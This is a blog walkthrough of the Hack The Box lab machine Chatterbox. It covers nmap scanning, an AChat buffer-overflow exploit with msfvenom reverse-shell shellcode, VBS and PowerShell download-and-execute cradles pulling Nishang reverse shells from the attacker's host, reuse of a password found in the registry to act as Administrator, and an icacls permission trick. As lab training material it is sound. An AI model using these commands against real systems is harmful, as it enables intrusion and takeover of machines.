HTB – Chatterbox

Here we go, let’s do another retired box which is part of TJNull’s OSCP-like VMs!

Today will be Chatterbox. I’ve not looked at this box before, so will be a straight from scratch let’s learn as we go writeup!

*********False Start***********

First up, nmap!

nmap -sC -sV -O -oN nmap/initial  10.10.10.74  -vv

We get two open ports:

PORT STATE SERVICE REASON VERSION
554/tcp open rtsp? syn-ack ttl 128
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
7070/tcp open realserver? syn-ack ttl 128
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

Well that isn’t exactly what I would expect. Port 554 and 7070 and not much of an idea about the OS!

 

I just released that I haven’t connected to the Hack The Box VPN (always do this first!), so let’s run that scan again and see if we get different results! Sorry to whoever owns that public IP address!

Let’s redo that first nmap scan!

This time, we get no results! Not a single port open! Let’s try a full port scan!

nmap -sS -p- 10.10.10.74 -oN nmap/allports -vv

While that’s running, we also run a UDP scan. I always do the top 1000 first, if there is nothing in that, usually there isn’t much at all:

nmap -sU --top-ports=1000 -oN nmap/UDP 10.10.10.74

Nothing on UDP and no ports coming back on the all ports scan.

Let’s try resetting the box and starting again. Something has borked here!

********Actual Start**************

Doing a quick scan to see if we have anything open:

nmap -sS 10.10.10.74 -vv

We don’t get any findings. Let’s run a full port scan again:

nmap -sV -p- 10.10.10.74 -vv -T5

For some reason the scan was going to take an hour and a half. So while that ran, I tried out massscan which I haven’t used before. I tried scanning the first 10,000 ports and it found ports 554 and 7070 pretty quickly, but these aren’t HTB I don’t think, so it’s for some reason not using the VPN?

Ignoring that, I waited, and waited, and waited. For the nmap scan to finish and we got 2 results, these were different and showed:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-13 14:25 BST
Nmap scan report for 10.10.10.74
Host is up (0.13s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.76 seconds

Right, finally some results (43 minutes later!), let’s do a more detailed scan of those 2 ports:

nmap -sC -sV -O -oN nmap/detailed 10.10.10.74 -p 9255,9256 -vv

So we have two chat systems. 9255 is HTTP and not sure about 9256.

Let’s go check out 9255 first.

We get absolutely nothing back from that port. It doesn’t load. netcat doesn’t return anything.

Lets part that and check 9256. Netcat again gives nothing in return

nc 10.10.10.74 9256

However, going to a browser, we get:

Still not very useful.

Trying to run gobuster to see if there is anything more, gobuster tells us that it can’t connect.

Let’s google “achat chat system” and see if we have any default directories or anything.

We get a hit, for a Remote Buffer Overflow from exploit-db.

I’m out of other ideas so let’s try that

So in the script, we need to create a payload and replace it, we also need to change the attack target.

Updating the IP address:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)

The payload looks strange, it’s windows/exec for calc.exe. Not too sure what this is going to do!

Fuck it, let’s run it and see what happens.

I think that means it ran? Let’s try changing the payload the be a reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=9010 -f c -a x86 --platform windows -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python

And it couldn’t create it due to the massive list of bad characters. Maybe we can use a different encoder that will work?

I found a list of encoders and did some trial and error.

I managed to find that x86/unicode_upper worked. Why is this? No idea! I guess it can use enough characters to work around the bad characters.

It does say it’s skipping invalid encoder, but it made it anyway, so I have absolutely no idea what’s going on, but i’ll take it!

Copying that into the script and noting its 324 bytes. Luckily the script works out the length of the buffer and takes it into account, so we don’t need to change anything there.

Right, let’s get a listener up on port 9002 and run this.

Ok, less exciting than I was expecting. Nothing happened! Double checking the IP address and the port, they are all right. Maybe the service has crashed when we did it as a test first time?

Resetting the box, we then try it again.

After a reset, we still have nothing! Ok, well that’s no use!

Maybe the unicode_upper isn’t what we need. Let’s keep looking, unicode_mixed also gives us a shellcode. I also realised I had 2 -f flags in my msfvenom, so I took out the -f c. That was a copy/paste error!

Created the payload and put it into the script. Let’s try again.

Nothing!

Ok, let’s re-look at the script and what that has. Looking at their suggested msfvenom payload I notice it has:

BufferRegister=EAX

We haven’t included that. Let’s add that in so our msfvenom command now looks like:

So many bad characters!

Wow this is a much longer payload at 774 bytes!

Copying that into the script, let’s try again!

Hooray, we get a reverse shell!

So it’s always important to read through the PoC and even though we are doing something different, including all the important parts! Also go through all the encoders. Just as a test, I re-ran it with the Upper encoder, and as long as I included the buffer register, it worked fine!

So although the encoder does matter to get round the amount of bad characters, the Buffer Register location is the critical part!

Now that we are in, a little look and we get the user flag!

I didn’t really like that user, I didn’t have anything to see if the service was up or down and finding the initial port was an absolute PITA!

Let’s take a look around for priv esc. Windows priv esc is my weak point, so really hoping to learn a good new skill here!

For Windows priv esc, I really like the Fuzzy Sec guide.

Straight away we find some useful information:

So, its a Windows 7 box, likely to be vulnerable to rotton potato, but i’ll save that for a last resort.

We also know there is only 1 Admin user, Administrator and we aren’t part of any groups, so hints there!

Looking through the networking and running processes, we don’t find a huge amount more information.

WMIC is installed though, so let’s take a quick look through there. Again nothing stands out.

It’s at this point, I revert to scripts, there is a great one called Powerless

To get this across we have a couple of options, either we can use powershell’s invoke-webrequest, or we can create a VBS wget script.

Let’s do the latter, host the script on a simple webserver on kali

python -m simpleHTTPServer 9001

Then on the Win7 box, go to a writable folder, I like to use the “Favorites” folder in the user area.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/Powerless.bat", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

I’ve bolded the bits that need to be changed. I find it works better to copy & paste 1 line at a time rather than all of them at once.

The reason I use this, and powerless rather than something like PowerUp is because although Windows 7 does have Powershell, it’s an early version and a lot of commands don’t work and I spend more time troubleshooting that then getting anything done!

This has successfully downloaded the file, let’s run it and see what we get.

There is so much output, and I won’t copy all of it, as it would just be crazy to go through!

There are however 208 hotfixes installed. So that’s any kernal exploits likely to be patched!

We do get some priviledge information

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
--- All users, accounts and groups ---

Nothing out of the normal there. SeChangeNotifyPriviledge is the one required for rottonpotato to work. So that’s worth bearing in mind.

Interesting AVAST is installed, this is a virus scanner. Do we need that on a CTF?

The Alfred user is stored in the registry, so we have that:

--- Searching Registry for Passwords ---
DefaultDomainName REG_SZ 
DefaultUserName REG_SZ Alfred
DefaultPassword REG_SZ Welcome1!

It doesn’t help us here, but in real life where password reuse is rife, this could be handy for later (also to note the crap password!)

There is a sysprep file we can look at:

c:\Windows\Panther\unattend.xml

Unfortuantely this runs as Alfred and has the password removed. So no luck.

That didn’t gain us much. Shall we try powerup.ps1? This might not work due to powershell issues.

Rather than re-using the wget script, let’s try powershell. To get into powershell we need to type:

powershell

This actually hangs and doesn’t open powershell. The only way out was Ctrl+C, so we have to re-do the BoF. I wish a more complex password was used and something like RDP was open (yes people would eternal blue it, but what would be the point?)

So the BoF didn’t work without reverting the box. In our script we didn’t specific the end the THREAD so the whole program crashes rather than just the thread we were using.

While I was waiting for the box to revert, I wondered if there was a way to view who owns what files, like on linux (ps -al) as my first Linux check is always who owns /etc/passwd & /etc/shadow.

There is a flag which is

dir /q <file>

This showed an interesting result:

Alfred owns the root.txt file, yet cannot read it, or move it. What can we do?

Some googling turns up not a lot.

So let’s go back to what we were doing, we were going to get PowerUp.ps1 across. Since powershell failed last time, I’m going to use my wget script again.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script2.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script2.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/PowerUp.ps1", False >> script2.vbs
echo xHttp.Send >> script2.vbs
echo with bStrm >> script2.vbs
echo .type = 1 '//binary >> script2.vbs
echo .open >> script2.vbs
echo .write xHttp.responseBody >> script2.vbs
echo .savetofile "Powerup.ps1", 2 '//overwrite >> script2.vbs
echo end with >> script2.vbs
cscript script2.vbs

We can then run it using:

powershell PowerUp.ps1

This then loads in a different window as it boots up powershell and we can’t see what it’s doing.

We really need a powershell terminal! So that means, we need to do some lateral movement.

Using a nishang payload we should be able to get a powershell reverse shell.

Download the nishang payload and edit “Invoke-PowerShellTcp.ps1” at the end of the file add:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9003

This should then download and run. What I don’t know is if this will work with our vba wget script, but let’s try it!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script3.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script3.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/Invoke-PowerShellTcp.ps1", False >> script3.vbs
echo xHttp.Send >> script3.vbs
echo with bStrm >> script3.vbs
echo .type = 1 '//binary >> script3.vbs
echo .open >> script3.vbs
echo .write xHttp.responseBody >> script3.vbs
echo .savetofile "Invoke-PowerShellTcp.ps1", 2 '//overwrite >> script3.vbs
echo end with >> script3.vbs

Set up a listener

nc -nvlp 9003

Then do:

cscript script3.vbs

Annnnd, we do not get a reverse shell. Fuuuck.

Ok, let’s try and download this via powershell!

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9001/Invoke-PowerShellTcp.ps1')

Aha! That time, we got it!

You’ll see the screen on the left looks to have frozen, as it’s running the reverse shell, but we have that shell on the right, so we can now hopefully run PowerUp.ps1 with the module “Invoke-AllChecks”

Import-Module .\Powerup.ps1; Invoke-AllChecks

It doesn’t seem to run.
So what i’m going to do, is add the run command to the bottom of it, and download it via powershell.

In the powerup script, we will add “Invoke-AllChecks” at the bottom of the script, so it should run as soon as it’s downloaded!

Hosting this on a webserver, we download it:

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9009/PowerUp.ps1')

It downloads, and then a blank screen. Let’s wait to see if its run and if we can see any output from this!

Nothing returned. Ok, let’s try this again manually, let’s download it without invoke all checks at the end. Using the same as above, we download it.

It isn’t there, it doesn’t save! That’s likely to be the issue! So, let’s download it with our vba script, then run it with powershell!

Now, we have powerup there!

So, how the fuck do we run this?

This is what I was talking about earlier with older/newer powershell versions, it’s just a pain. I don’t know why nothing is working to run this!

I can’t get this to run, I’ve not idea why. But let’s go back to what I said earlier when we found the password. Password reuse is a thing, could it be a thing here for Administrator?

I have a few commands that allow us to try this out, these have to be run under powershell otherwise it doesn’t work:

$username = 'Administrator'
$password = 'Welcome1!'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword


Start-Process powershell -Credential $credential -Verb "runas" -arg "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9010/shell.ps1')"

What this will do, is set the password, and run the command as Administrator. The command gets another Nishang payload, with the reverse shell pointing to a different port, and if it works, we will have a powershell as admin!

So that appears to just hang, it doesn’t go to my webserver and I have absolutely no idea why, as the same thing has worked before!

I accidentally Ctrl+C’ed my terminal, so trying to re-get my original shell is proving a massive pain in the arse, but we will get there! 3 resets later and some unknown fucking reason why it won’t do anything, I watched the ippsec video to work out how he did this first part.

********Let’s start again!**********

After having a break for a day, due to frustration at failing to re-get my reverse shell. I reset the box 5 times, tried 3 different methods for shell, I was mega cross, angrily turned my computer off and stormed downstairs like a grumpy teenager. It wasn’t pretty!

Anyway, here we go again!

I re-created the payload using:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=9010 -a x86 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\[31/31$
\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf
\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1
\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

(Note the very important IP address change)

Put that into the python scrip and start the listener,

nc -nvlp 9010

We get our reverse shell back! Huzzah!

Now let’s get that up to a powershell terminal.

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9001/Invoke-PowerShellTcp.ps1')

Remembering to change the IP address in the nishang payload!

We have our powershell payload excellent!

So, we have a password of Welcome1! Let’s try and use powershell to use that and get another nishang payload as root!

Using the powershell we tried last time but with a subtle tweak

$username = 'Administrator' 

$password = 'Welcome1!' 

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
Start-Process -FilePath "powershell" -Credential $credential -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9020/yekki.ps1')"

Yesss, we get a hit on our fileserver!

But we do not get a reverse shell! Bummer!

Ah that is because I didn’t change the IP address in the nishang payload, blast!

Let’s try again! Very strangely, the powershell is now just hanging and won’t do anything. It’s almost as if in the background there is a powershell running that we can’t see that is stalling it all.

After a couple of goes, I realised it was something about how I was copying out of the terminal. If I copied from here, it worked straight first time!

It calls back, our nishang shell comes home and boom, we are root!

So I got super cross, and lost loads of time when my payload wouldn’t execute after I killed the sessions by accident. I’m not sure why this was, it might have been a typo in my code I was copying, it could have been other things. But for that reason, I hate this box!

Anyway, that is root. However, there is a much more interesting way then invoking powershell as another user.

Back in our low level cmd line access!

Remember earlier we saw that the root flag was owned by Alfred?

C:\Users\Administrator\Desktop>dir /q root.txt
dir /q root.txt
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
0 Dir(s) 18,114,719,744 bytes free

Well can we do anything with that? After some reading and a tutorial, we can!

There is a tool called icacls. This lets us look at permissions for files and folders. So let’s look at the Desktop

C:\Users\Administrator>icacls Desktop
icacls Desktop
Desktop NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
CHATTERBOX\Administrator:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CHATTERBOX\Alfred:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

So I had a look at the help and got the permission definintions:

 (OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

Right, so Alfred has the same permissions as Administrator. We also have full access to root.txt

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files

So what can we do with that, well we can grant ourselves read access.

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:F
icacls root.txt /grant Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

This then lets us read the file:

That is super useful and definitely a trick i’ll keep up my sleeve!

So there we have it! 2 ways to root the box. I’m sure there are more method to get a shell using the remote overflow, but this will do for me!

Onto the next one!

 

Leave a Reply

Your email address will not be published. Required fields are marked *